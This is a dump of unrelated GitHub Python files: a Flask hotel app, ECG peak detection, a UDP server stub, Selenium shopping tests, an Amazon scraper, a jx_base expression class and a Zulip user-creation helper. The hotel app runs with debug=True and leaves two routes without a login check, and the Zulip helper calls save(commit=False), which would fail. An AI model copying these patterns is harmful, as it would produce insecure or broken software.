num_camas, num_banheiros, status, diaria))\r\n conexao.commit()\r\n cursor.close()\r\n conexao.close()\r\n\r\n # Atualizar a lista de quartos\r\n lista_quartos = obter_lista_quartos()\r\n\r\n # Definir a mensagem de sucesso\r\n mensagem_cadastro = 'Quarto cadastrado com sucesso.'\r\n else:\r\n # Quarto já existe, exibir mensagem de erro\r\n mensagem_cadastro = 'Erro: Já existe um quarto com este número.'\r\n\r\n # Recarregar a lista de quartos\r\n lista_quartos = obter_lista_quartos()\r\n\r\n return render_template('quarto.html', lista_quartos=lista_quartos, mensagem_cadastro=mensagem_cadastro)\r\n\r\n\r\n# Rota de ocupar/quitar quarto\r\n@app.route('/ocupar_quarto', methods=['GET', 'POST'])\r\ndef ocupar_quarto():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n # Carregar a lista de quartos existentes\r\n lista_quartos = obter_lista_quartos()\r\n\r\n if request.method == 'POST':\r\n num_quarto = request.form['num_quarto']\r\n status = request.form.get('status')\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se o quarto com o número informado existe\r\n query = \"SELECT COUNT(*) FROM quarto WHERE num_quarto = %s\"\r\n cursor.execute(query, (num_quarto,))\r\n resultado = cursor.fetchone()\r\n\r\n if resultado[0] > 0:\r\n # O quarto existe, atualizar o status\r\n query = \"UPDATE quarto SET status = %s WHERE num_quarto = %s\"\r\n cursor.execute(query, (status, num_quarto))\r\n conexao.commit()\r\n cursor.close()\r\n conexao.close()\r\n\r\n # Enviar mensagem de sucesso\r\n mensagem_ocupar = 'Status do quarto atualizado com sucesso.'\r\n lista_quartos = obter_lista_quartos()\r\n return render_template('quarto.html', lista_quartos=lista_quartos, mensagem_ocupar=mensagem_ocupar)\r\n\r\n else:\r\n # Quarto não encontrado, exibir mensagem de erro\r\n mensagem_ocupar = 'Erro: Quarto não encontrado.'\r\n\r\n return render_template('quarto.html', lista_quartos=lista_quartos)\r\n\r\n# ... Outras rotas e imports ...\r\n\r\n# Rota de hospedagem\r\n@app.route('/hospedagem', methods=['GET', 'POST'])\r\ndef hospedagem():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n mensagem = None # Inicialmente, não há mensagem\r\n\r\n if request.method == 'POST':\r\n cpf = request.form['cpf']\r\n num_quarto = int(request.form['num_quarto'])\r\n num_dias = int(request.form['num_dias'])\r\n\r\n # Verificar se o cliente com o CPF informado existe\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se o cliente com o CPF informado existe\r\n query = \"SELECT ID_CLIENTE FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (cpf,))\r\n cliente_id = cursor.fetchone()\r\n\r\n if not cliente_id:\r\n # Cliente não existe, definir a mensagem de erro\r\n mensagem = 'Erro: Não existe cliente com esse CPF cadastrado.'\r\n else:\r\n cliente_id = cliente_id[0]\r\n\r\n # Verificar se o quarto com o número informado existe e está disponível\r\n query = \"SELECT ID_QUARTO, STATUS FROM quarto WHERE NUM_QUARTO = %s\"\r\n cursor.execute(query, (num_quarto,))\r\n quarto_info = cursor.fetchone()\r\n\r\n if not quarto_info:\r\n # Quarto não existe, definir a mensagem de erro\r\n mensagem = 'Erro: Não existe quarto com esse número cadastrado.'\r\n else:\r\n quarto_id, status_quarto = quarto_info\r\n\r\n if status_quarto == 'livre':\r\n # Realizar a hospedagem, criando um registro na tabela \"hospedagem\"\r\n query = \"INSERT INTO hospedagem (cliente_id, quarto_id, num_dias) VALUES (%s, %s, %s)\"\r\n cursor.execute(query, (cliente_id, quarto_id, num_dias))\r\n\r\n conexao.commit()\r\n\r\n # Atualizar o status do quarto para \"ocupado\"\r\n query = \"UPDATE quarto SET STATUS = 'ocupado' WHERE ID_QUARTO = %s\"\r\n cursor.execute(query, (quarto_id,))\r\n conexao.commit()\r\n\r\n # Definir a mensagem de sucesso\r\n mensagem = 'Hospedagem realizada com sucesso. Quarto agora está ocupado.'\r\n else:\r\n # Quarto não está disponível para hospedagem, definir a mensagem de erro\r\n mensagem = 'Erro: O quarto não está disponível para hospedagem.'\r\n\r\n cursor.close()\r\n conexao.close()\r\n\r\n return render_template('hospedagem.html', mensagem=mensagem)\r\n\r\n\r\n\r\n# Rota para quitar hospedagem\r\n@app.route('/quitar_hospedagem', methods=['POST'])\r\ndef quitar_hospedagem():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n mensagem_quitar = None # Inicialmente, não há mensagem de quitação\r\n cliente_info = None # Inicialmente, não há informações do cliente\r\n\r\n if request.method == 'POST':\r\n cpf = request.form['cpf']\r\n num_quarto = int(request.form['num_quarto'])\r\n\r\n # Verificar se a hospedagem com o CPF e número do quarto informados existe\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se a hospedagem existe e obter os dados necessários\r\n query = \"SELECT cliente.nome, cliente.cpf, quarto.NUM_QUARTO, \" \\\r\n \"hospedagem.num_dias, quarto.DIARIA \" \\\r\n \"FROM hospedagem \" \\\r\n \"JOIN cliente ON hospedagem.cliente_id = cliente.ID_CLIENTE \" \\\r\n \"JOIN quarto ON hospedagem.quarto_id = quarto.ID_QUARTO \" \\\r\n \"WHERE cliente.cpf = %s AND quarto.NUM_QUARTO = %s\"\r\n cursor.execute(query, (cpf, num_quarto))\r\n hospedagem_info = cursor.fetchone()\r\n\r\n if not hospedagem_info:\r\n # A hospedagem não existe, definir a mensagem de erro\r\n mensagem_quitar = 'Erro: Não existe hospedagem associada a esse CPF e número do quarto.'\r\n else:\r\n nome, cpf_cliente, num_quarto, num_dias, valor_diaria = hospedagem_info\r\n valor_total = valor_diaria * num_dias\r\n\r\n # Atualizar o status do quarto para \"livre\"\r\n query = \"UPDATE quarto SET STATUS = 'livre' WHERE NUM_QUARTO = %s\"\r\n cursor.execute(query, (num_quarto,))\r\n conexao.commit()\r\n\r\n # Excluir o registro da tabela \"hospedagem\"\r\n query = \"DELETE FROM hospedagem WHERE cliente_id = (SELECT ID_CLIENTE FROM cliente WHERE cpf = %s) \" \\\r\n \"AND quarto_id = (SELECT ID_QUARTO FROM quarto WHERE NUM_QUARTO = %s)\"\r\n cursor.execute(query, (cpf, num_quarto))\r\n conexao.commit()\r\n\r\n # Definir as informações do cliente para exibir na \"nota fiscal\"\r\n cliente_info = {\r\n 'nome': nome,\r\n 'cpf': cpf_cliente,\r\n 'num_quarto': num_quarto,\r\n 'num_dias': num_dias,\r\n 'valor_diaria': valor_diaria,\r\n 'valor_total': valor_total\r\n }\r\n\r\n # Definir a mensagem de sucesso\r\n mensagem_quitar = f'A hospedagem de: {nome}\\nCPF: {cpf_cliente}\\nNo quarto de número: {num_quarto}\\n' \\\r\n f'Hospedado por: {num_dias} dias\\nValor da diária: R$ {valor_diaria:.2f}\\n' \\\r\n f'Valor total a pagar: R$ {valor_total:.2f}\\nHospedagem quitada com sucesso.'\r\n\r\n cursor.close()\r\n conexao.close()\r\n\r\n return render_template('quitar_hospedagem.html', mensagem_quitar=mensagem_quitar, cliente_info=cliente_info)\r\n\r\n\r\n@app.route('/listar_hospedagens')\r\ndef listar_hospedagens():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n conexao = conectar_bd()\r\n hospedagens = []\r\n\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Consultar as informações dos clientes hospedados\r\n query = \"SELECT cliente.nome, cliente.cpf, quarto.NUM_QUARTO, hospedagem.num_dias, quarto.DIARIA \" \\\r\n \"FROM hospedagem \" \\\r\n \"JOIN cliente ON hospedagem.cliente_id = cliente.ID_CLIENTE \" \\\r\n \"JOIN quarto ON hospedagem.quarto_id = quarto.ID_QUARTO\"\r\n cursor.execute(query)\r\n hospedagens = cursor.fetchall()\r\n\r\n cursor.close()\r\n conexao.close()\r\n\r\n return render_template('listar_hospedagens.html', hospedagens=hospedagens)\r\n\r\n@app.route('/listar_quartos')\r\ndef listar_quartos():\r\n # Conectar ao banco de dados e obter os quartos cadastrados\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Consultar os quartos cadastrados\r\n query = \"SELECT NUM_QUARTO, NUM_CAMAS, NUM_BANHEIROS, STATUS, DIARIA FROM quarto\"\r\n cursor.execute(query)\r\n quartos = cursor.fetchall()\r\n\r\n cursor.close()\r\n conexao.close()\r\n\r\n return render_template('listar_quartos.html', quartos=quartos)\r\n else:\r\n return render_template('listar_quartos.html', quartos=None)\r\n\r\n#Cancelando a hospedagem\r\n@app.route('/cancelar_hospedagem', methods=['POST'])\r\ndef cancelar_hospedagem():\r\n cpf = request.form['cpf']\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se o cliente com o CPF informado existe\r\n query = \"SELECT ID_CLIENTE FROM cliente WHERE CPF = %s\"\r\n cursor.execute(query, (cpf,))\r\n cliente_id = cursor.fetchone()\r\n\r\n if not cliente_id:\r\n mensagem_cancelar = 'Cliente não está hospedado.'\r\n else:\r\n cliente_id = cliente_id[0]\r\n\r\n # Obter o ID do quarto onde o cliente está hospedado\r\n query = \"SELECT quarto_id FROM hospedagem WHERE cliente_id = %s\"\r\n cursor.execute(query, (cliente_id,))\r\n quarto_id = cursor.fetchone()\r\n\r\n if quarto_id:\r\n quarto_id = quarto_id[0]\r\n\r\n # Atualizar o status do quarto para \"livre\"\r\n query = \"UPDATE quarto SET STATUS = 'livre' WHERE ID_QUARTO = %s\"\r\n cursor.execute(query, (quarto_id,))\r\n\r\n # Excluir o registro da hospedagem cancelada da tabela \"hospedagem\"\r\n query = \"DELETE FROM hospedagem WHERE cliente_id = %s\"\r\n cursor.execute(query, (cliente_id,))\r\n\r\n conexao.commit()\r\n mensagem_cancelar = 'O cancelamento da hospedagem do cliente foi feito com sucesso!'\r\n else:\r\n mensagem_cancelar = 'Cliente não está hospedado.'\r\n\r\n cursor.close()\r\n conexao.close()\r\n\r\n return render_template('hospedagem.html', mensagem_cancelar=mensagem_cancelar)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n criar_tabelas() # Chamar a função para\r\n app.run(debug=True)\r\n","repo_name":"Redfantt/PROJETO_FBD_COMPLETO","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":20354,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7988886052","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom scipy.signal import butter, lfilter\nfrom scipy import stats\n\ndef detect_peaks(ecg_measurements,signal_frequency,gain):\n\n \"\"\"\n Method responsible for extracting peaks from loaded ECG measurements data through measurements processing.\n\n This implementation of a QRS Complex Detector is by no means a certified medical tool and should not be used in health monitoring. \n It was created and used for experimental purposes in psychophysiology and psychology.\n You can find more information in module documentation:\n https://github.com/c-labpl/qrs_detector\n If you use these modules in a research project, please consider citing it:\n https://zenodo.org/record/583770\n If you use these modules in any other project, please refer to MIT open-source license.\n\n If you have any question on the implementation, please refer to:\n\n Michal Sznajder (Jagiellonian University) - technical contact (msznajder@gmail.com)\n Marta lukowska (Jagiellonian University)\n Janko Slavic peak detection algorithm and implementation.\n https://github.com/c-labpl/qrs_detector\n https://github.com/jankoslavic/py-tools/tree/master/findpeaks\n \n MIT License\n Copyright (c) 2017 Michal Sznajder, Marta Lukowska\n \n Permission is hereby granted, free of charge, to any person obtaining a copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n The above copyright notice and this permission notice shall be included in all\n copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n SOFTWARE.\n\n \"\"\"\n\n\n filter_lowcut = 0.001\n filter_highcut = 15.0\n filter_order = 1\n integration_window = 30 # Change proportionally when adjusting frequency (in samples).\n findpeaks_limit = 0.35\n findpeaks_spacing = 100 # Change proportionally when adjusting frequency (in samples).\n refractory_period = 240 # Change proportionally when adjusting frequency (in samples).\n qrs_peak_filtering_factor = 0.125\n noise_peak_filtering_factor = 0.125\n qrs_noise_diff_weight = 0.25\n\n\n # Detection results.\n qrs_peaks_indices = np.array([], dtype=int)\n noise_peaks_indices = np.array([], dtype=int)\n\n\n # Measurements filtering - 0-15 Hz band pass filter.\n filtered_ecg_measurements = bandpass_filter(ecg_measurements, lowcut=filter_lowcut, highcut=filter_highcut, signal_freq=signal_frequency, filter_order=filter_order)\n\n filtered_ecg_measurements[:5] = filtered_ecg_measurements[5]\n\n # Derivative - provides QRS slope information.\n differentiated_ecg_measurements = np.ediff1d(filtered_ecg_measurements)\n\n # Squaring - intensifies values received in derivative.\n squared_ecg_measurements = differentiated_ecg_measurements ** 2\n\n # Moving-window integration.\n integrated_ecg_measurements = np.convolve(squared_ecg_measurements, np.ones(integration_window)/integration_window)\n\n # Fiducial mark - peak detection on integrated measurements.\n detected_peaks_indices = findpeaks(data=integrated_ecg_measurements,\n limit=findpeaks_limit,\n spacing=findpeaks_spacing)\n\n detected_peaks_values = integrated_ecg_measurements[detected_peaks_indices]\n\n return detected_peaks_values,detected_peaks_indices\n\n \ndef bandpass_filter(data, lowcut, highcut, signal_freq, filter_order):\n \"\"\"\n Method responsible for creating and applying Butterworth filter.\n :param deque data: raw data\n :param float lowcut: filter lowcut frequency value\n :param float highcut: filter highcut frequency value\n :param int signal_freq: signal frequency in samples per second (Hz)\n :param int filter_order: filter order\n :return array: filtered data\n \"\"\"\n nyquist_freq = 0.5 * signal_freq\n low = lowcut / nyquist_freq\n high = highcut / nyquist_freq\n b, a = butter(filter_order, [low, high], btype=\"band\")\n y = lfilter(b, a, data)\n return y\n\ndef findpeaks(data, spacing=1, limit=None):\n \"\"\"\n Janko Slavic peak detection algorithm and implementation.\n https://github.com/jankoslavic/py-tools/tree/master/findpeaks\n Finds peaks in `data` which are of `spacing` width and >=`limit`.\n :param ndarray data: data\n :param float spacing: minimum spacing to the next peak (should be 1 or more)\n :param float limit: peaks should have value greater or equal\n :return array: detected peaks indexes array\n \"\"\"\n len = data.size\n x = np.zeros(len + 2 * spacing)\n x[:spacing] = data[0] - 1.e-6\n x[-spacing:] = data[-1] - 1.e-6\n x[spacing:spacing + len] = data\n peak_candidate = np.zeros(len)\n peak_candidate[:] = True\n for s in range(spacing):\n start = spacing - s - 1\n h_b = x[start: start + len] # before\n start = spacing\n h_c = x[start: start + len] # central\n start = spacing + s + 1\n h_a = x[start: start + len] # after\n peak_candidate = np.logical_and(peak_candidate, np.logical_and(h_c > h_b, h_c > h_a))\n\n ind = np.argwhere(peak_candidate)\n ind = ind.reshape(ind.size)\n if limit is not None:\n ind = ind[data[ind] > limit]\n return ind\n\n\ndef get_12ECG_features(data, header_data):\n\n tmp_hea = header_data[0].split(' ')\n ptID = tmp_hea[0]\n num_leads = int(tmp_hea[1])\n sample_Fs= int(tmp_hea[2])\n gain_lead = np.zeros(num_leads)\n \n for ii in range(num_leads):\n tmp_hea = header_data[ii+1].split(' ')\n gain_lead[ii] = int(tmp_hea[2].split('/')[0])\n\n # for testing, we included the mean age of 57 if the age is a NaN\n # This value will change as more data is being released\n for iline in header_data:\n if iline.startswith('#Age'):\n tmp_age = iline.split(': ')[1].strip()\n age = int(tmp_age if tmp_age != 'NaN' else 57)\n elif iline.startswith('#Sex'):\n tmp_sex = iline.split(': ')[1]\n if tmp_sex.strip()=='Female':\n sex =1\n else:\n sex=0\n# elif iline.startswith('#Dx'):\n# label = iline.split(': ')[1].split(',')[0]\n\n\n \n# We are only using data from lead1\n peaks,idx = detect_peaks(data[0],sample_Fs,gain_lead[0])\n \n# mean\n mean_RR = np.mean(idx/sample_Fs*1000)\n mean_Peaks = np.mean(peaks*gain_lead[0])\n\n# median\n median_RR = np.median(idx/sample_Fs*1000)\n median_Peaks = np.median(peaks*gain_lead[0])\n\n# standard deviation\n std_RR = np.std(idx/sample_Fs*1000)\n std_Peaks = np.std(peaks*gain_lead[0])\n\n# variance\n var_RR = stats.tvar(idx/sample_Fs*1000)\n var_Peaks = stats.tvar(peaks*gain_lead[0])\n\n# Skewness\n skew_RR = stats.skew(idx/sample_Fs*1000)\n skew_Peaks = stats.skew(peaks*gain_lead[0])\n\n# Kurtosis\n kurt_RR = stats.kurtosis(idx/sample_Fs*1000)\n kurt_Peaks = stats.kurtosis(peaks*gain_lead[0])\n\n features = np.hstack([age,sex,mean_RR,mean_Peaks,median_RR,median_Peaks,std_RR,std_Peaks,var_RR,var_Peaks,skew_RR,skew_Peaks,kurt_RR,kurt_Peaks])\n\n \n return features\n\n\n","repo_name":"physionetchallenges/python-classifier-2020","sub_path":"get_12ECG_features.py","file_name":"get_12ECG_features.py","file_ext":"py","file_size_in_byte":8258,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"21"} +{"seq_id":"70015405492","text":"#####\n# The framework for your server.\n#####\n\nimport socket\n\n# The ip address and port number of this server. The connection address is defined\n# as a tuple of ip and port.\nmy_ip = \"127.0.0.1\"\nmy_port = 4243\nmy_addr = (my_ip, my_port)\n\n# As a server, we do not know the address of clients in advance.\n\n# Create and bind the server socket to the conenction address above.\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nserver_socket.bind(my_addr)\n\n#############################################\n# Your turn!!!!!!!!\n# Use the utilities above, finish your server!\n#############################################\n\n# Step 0. Waiting for SYN.\n\n# Step 1. If receive SYN, record the address of the client, and reply SYNACK\n\n# Step 2. Upon receiving ACK, connection established. Send the message to the client.\n\nmessage = \"Let's meet in the dream No.4242!\"\n\n# Always remember to close socket after using to release resources.\nserver_socket.close()","repo_name":"TANSixu/Our-CS","sub_path":"Assignment1/t2_server.py","file_name":"t2_server.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"36231661421","text":"from src.modules import *\nfrom src.helpers import *\n\n#Test cases --\n#Register's a a new user --\ndef register(driver):\n removeAds(driver)\n waitElement(driver, 'page')\n findElement(driver, 'login', click=True)\n waitElement(driver, 'selector', 'container')\n signUp = findElement(driver, 'signup', 'email')\n signUp.send_keys(generate().name())\n signUp = findElement(driver, 'signup', 'pass')\n signUp.send_keys(generate().email())\n findElement(driver, 'signup', 'sgnbtn', click=True)\n waitElement(driver, 'selector', 'form', 'main')\n\n#Fills-up form after registration --\ndef fillUpForm(driver):\n removeAds(driver)\n elements = findElements(driver, 'form', 'radio')\n dob = findElements(driver, 'form', 'dob')\n dom = findElements(driver, 'form', 'dom')\n doy = findElements(driver, 'form', 'doy')\n checker = findElements(driver, 'form', 'check')\n countries = findElements(driver, 'form', 'countries')\n\n if elements:\n randClick = random.choice(elements)\n randClick.click()\n\n formSelect(driver, 'pass').send_keys(generate().password())\n formSelect(driver, 'day', click=True)\n selectDate(dob)\n formSelect(driver, 'months', click=True)\n selectDate(dom)\n formSelect(driver, 'year', click=True)\n selectDate(doy)\n\n for element in checker:\n element.click()\n\n formSelect(driver, 'firstName').send_keys(generate().first_name())\n formSelect(driver, 'lastName').send_keys(generate().last_name())\n formSelect(driver, 'company').send_keys(generate().company())\n formSelect(driver, 'address').send_keys(generate().address())\n formSelect(driver, 'addressTwo').send_keys(generate().address())\n formSelect(driver, 'country', click=True)\n\n if countries:\n select = random.choice(countries)\n select.click()\n\n formSelect(driver, 'state').send_keys(generate().state())\n formSelect(driver, 'city').send_keys(generate().city())\n formSelect(driver, 'zip').send_keys(generate().zipcode())\n formSelect(driver, 'number').send_keys(generate().phone_number())\n formSelect(driver, 'submit', click=True)\n waitElement(driver, 'selector', 'form', 'headerText')\n\n text = findElement(driver, 'form', 'headerText')\n assert text.text == 'ACCOUNT CREATED!'\n formSelect(driver, 'continue', click=True)\n removeAds(driver)\n\n currURL = [driver.current_url, data('url', 'creation')]\n if currURL[0] == currURL[1]:\n formSelect(driver, 'continue', click=True)\n\n checkPage = findElement(driver, 'form', 'navcheck')\n assert checkPage.text == 'Logout' #user should be logged-in.\n removeAds(driver)\n\n#Shoppping -- Add items to cart\ndef dressShopping(driver):\n selection(driver, 'women', 'dress', 'productOne', 'panel', 'WOMEN - DRESS PRODUCTS')\n\ndef topsShopping(driver):\n selection(driver, 'women', 'tops', 'productTwo', 'panel', 'WOMEN - TOPS PRODUCTS')\n\ndef sareeShopping(driver):\n selection(driver, 'women', 'saree', 'productSeven', 'panel', 'WOMEN - SAREE PRODUCTS')\n\ndef tshirtShopping(driver):\n selection(driver, 'men', 'tshirt', 'productThree', 'panelm', 'MEN - TSHIRTS PRODUCTS')\n\ndef jeansShoping(driver):\n selection(driver, 'men', 'jeans', 'productSix', 'panelm', 'Men - Jeans Products')\n\ndef kidsDressShopping(driver):\n selection(driver, 'kids', 'kidsDress', 'productFour', 'panelk', 'Kids - Dress Products')\n\ndef kidsTopShirts(driver):\n selection(driver, 'kids', 'topShirts', 'productFive', 'panelk', 'Kids - Tops & Shirts Products')\n\n#checkouts ---\ndef checkout(driver):\n details = ['Address Details', 'Review Your Order']\n findElement(driver, 'cart', click=True)\n runJavascript(driver, 'contentLoaded')\n items = findElements(driver, 'items')\n text = findElements(driver, 'details')\n\n if len(items) == 0:\n print(\"The cart is empty!\")\n else:\n findElement(driver, 'checkout', click=True)\n\n runJavascript(driver, 'contentLoaded')\n for i in text:\n assert i.text in details\n\n message = findElement(driver, 'message')\n message.send_keys(generate().paragraph())\n findElement(driver, 'proceed', click=True)\n runJavascript(driver, 'contentLoaded')\n\ndef payment(driver):\n expected.url_to_be(data('url', 'payment'))\n text = findElement(driver, 'payment', 'getPayment')\n assert text.text == 'Payment'\n findElement(driver, 'payment', 'cardname').send_keys(generate().name())\n findElement(driver, 'payment', 'cardnumber').send_keys(generate().credit_card_number())\n findElement(driver, 'payment', 'cardpin').send_keys(generate().credit_card_security_code())\n findElement(driver, 'payment', 'expiryMonth').send_keys(generate().month())\n findElement(driver, 'payment', 'expiryYear').send_keys(generate().year())\n findElement(driver, 'payment', 'payment', click=True)\n expected.url_to_be(data('url', 'orderPlaced'))\n text = findElement(driver, 'payment', 'orderPlaced')\n assert text.text == 'ORDER PLACED!'\n findElement(driver, 'form', 'continue', click=True)\n\n\n\n","repo_name":"gloofo/UI-Shopping-Automation","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18353189743","text":"from bs4 import BeautifulSoup\nimport requests\nimport os\n\nfile = open('com_book.csv', 'w')\nfile.write('Name' + \";\" + 'URL' + \";\" + 'Author' + \";\" + 'Price' +\n \";\" + 'Number of Ratings' + \";\" + 'Average Rating' + \"\\n\")\n\nprint(\"Please wait while the process completes. A file com_book.csv will be generated in the current folder.\")\n\nfor i in range(1, 6):\n\n for var in BeautifulSoup(requests.get('https://www.amazon.com/best-sellers-books-Amazon/zgbs/books/ref=zg_bs_pg_{0}?_encoding=UTF8&pg={0}'.format(i)).text, 'lxml').find('div', id='zg_centerListWrapper').find_all('div', class_='zg_itemWrapper'):\n try:\n name = var.find(\n 'div', class_='p13n-sc-truncate p13n-sc-line-clamp-1').string.strip()\n\n except Exception as e:\n name = \"Not Available\"\n\n file.write(str(name) + \";\")\n\n try:\n url_val = 'https://www.amazon.com{0}'.format(\n var.find('a', class_='a-link-normal')['href'].strip())\n\n except Exception as e:\n url_val = \"Not Available\"\n file.write(url_val + \";\")\n\n try:\n author_val = var.find(\n 'span', class_='a-size-small a-color-base').text\n\n except Exception as e:\n author_val = var.find('a', class_='a-size-small a-link-child').text\n\n except Exception as e:\n author_val = \"Not Available\"\n\n file.write(str(author_val) + \";\")\n\n try:\n price = var.find('span', class_='p13n-sc-price').text.strip()\n\n except Exception as e:\n price = \"Not Available\"\n file.write(price + \";\")\n\n try:\n n_o_r = var.find(\n 'a', class_='a-size-small a-link-normal').string.strip()\n\n except Exception as e:\n n_o_r = \"Not Available\"\n file.write(n_o_r + \";\")\n\n try:\n avg_rat = var.find('div', class_='a-icon-row a-spacing-none').find(\n 'a', class_='a-link-normal')['title'].strip()\n\n except Exception as e:\n avg_rat = \"Not Available\"\n file.write(avg_rat + \"\\n\")\n\nfile.close()\n","repo_name":"atirek-ak/web-scraping-amazon","sub_path":"com_bestseller.py","file_name":"com_bestseller.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22926216815","text":"# encoding: utf-8\n#\n#\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http:# mozilla.org/MPL/2.0/.\n#\n# Contact: Kyle Lahnakoski (kyle@lahnakoski.com)\n#\n\n\"\"\"\n# NOTE:\n\nTHE self.lang[operator] PATTERN IS CASTING NEW OPERATORS TO OWN LANGUAGE;\nKEEPING Python AS# Python, ES FILTERS AS ES FILTERS, AND Painless AS\nPainless. WE COULD COPY partial_eval(), AND OTHERS, TO THIER RESPECTIVE\nLANGUAGE, BUT WE KEEP CODE HERE SO THERE IS LESS OF IT\n\n\"\"\"\nfrom __future__ import absolute_import, division, unicode_literals\n\nfrom jx_base.expressions._utils import simplified, merge_types\nfrom jx_base.expressions.expression import Expression\nfrom jx_base.expressions.false_op import FALSE\nfrom jx_base.expressions.literal import Literal\nfrom jx_base.expressions.null_op import NULL\nfrom jx_base.language import is_op\nfrom mo_dots import is_many\nfrom mo_math import MIN\n\n\nclass UnionOp(Expression):\n def __init__(self, terms):\n Expression.__init__(self, terms)\n if terms == None:\n self.terms = []\n elif is_many(terms):\n self.terms = terms\n else:\n self.terms = [terms]\n\n def __data__(self):\n return {\"union\": [t.__data__() for t in self.terms]}\n\n @property\n def type(self):\n return merge_types(t.type for t in self.terms)\n\n def vars(self):\n output = set()\n for t in self.terms:\n output |= t.vars()\n return output\n\n def map(self, map_):\n return self.lang[UnionOp([t.map(map_) for t in self.terms])]\n\n def missing(self):\n return FALSE\n\n @simplified\n def partial_eval(self):\n minimum = None\n terms = []\n for t in self.terms:\n simple = t.partial_eval()\n if simple is NULL:\n pass\n elif is_op(simple, Literal):\n minimum = MIN([minimum, simple.value])\n else:\n terms.append(simple)\n if len(terms) == 0:\n if minimum == None:\n return NULL\n else:\n return Literal(minimum)\n else:\n if minimum == None:\n output = self.lang[UnionOp(terms)]\n else:\n output = self.lang[UnionOp([Literal(minimum)] + terms)]\n\n return output\n","repo_name":"mozilla/jx-sqlite","sub_path":"vendor/jx_base/expressions/union_op.py","file_name":"union_op.py","file_ext":"py","file_size_in_byte":2392,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"21"} +{"seq_id":"33571367261","text":"\r\n# <-------------- Code added by Vijaykumar ---------->\r\n# <--------- start of code ----------->\r\n\r\n# This is the function called by the View backing up create/update user custom API.\r\ndef do_create_user_func(email: str, password: Optional[str], realm: Realm, full_name: str,\r\n bot_type: Optional[int]=None, role: Optional[int]=None,\r\n bot_owner: Optional[UserProfile]=None, tos_version: Optional[str]=None,\r\n timezone: str=\"\", avatar_source: str=UserProfile.AVATAR_FROM_GRAVATAR,\r\n default_sending_stream: Optional[Stream]=None,\r\n default_events_register_stream: Optional[Stream]=None,\r\n default_all_public_streams: Optional[bool]=None,\r\n prereg_user: Optional[PreregistrationUser]=None,\r\n newsletter_data: Optional[Dict[str, str]]=None,\r\n default_stream_groups: Sequence[DefaultStreamGroup]=[],\r\n source_profile: Optional[UserProfile]=None,\r\n realm_creation: bool=False,\r\n acting_user: Optional[UserProfile]=None) -> UserProfile:\r\n\r\n user_profile = create_user(email=email, password=password, realm=realm,\r\n full_name=full_name,\r\n role=role, bot_type=bot_type, bot_owner=bot_owner,\r\n tos_version=tos_version, timezone=timezone, avatar_source=avatar_source,\r\n default_sending_stream=default_sending_stream,\r\n default_events_register_stream=default_events_register_stream,\r\n default_all_public_streams=default_all_public_streams,\r\n source_profile=source_profile)\r\n\r\n # Check if team for acting_user exists or not\r\n if TeamMate.objects.filter(user=acting_user).exists():\r\n # Team for acting_user Exists, just add user_profile\r\n team = TeamMate.objects.get(user=acting_user)\r\n team.members.add(user_profile)\r\n user_reverse = UserProfile.objects.get(id=acting_user.id)\r\n team_reverse = TeamMate.objects.create(user=user_profile)\r\n team_reverse.members.add(user_reverse)\r\n team_reverse.save()\r\n else:\r\n # first creating team of acting_user\r\n #adding user_profile to team of acting_user\r\n team = TeamMate.objects.create(user=acting_user)\r\n team.save(commit=False)\r\n team.members.add(user_profile)\r\n team.save()\r\n # adding acting_user to team of user_profile\r\n user_reverse = UserProfile.objects.get(id=acting_user.id)\r\n team_reverse = TeamMate.objects.create(user=user_profile)\r\n team_reverse.members.add(user_reverse)\r\n team_reverse.save()\r\n\r\n event_time = user_profile.date_joined\r\n if not acting_user:\r\n acting_user = user_profile\r\n RealmAuditLog.objects.create(\r\n realm=user_profile.realm, acting_user=acting_user, 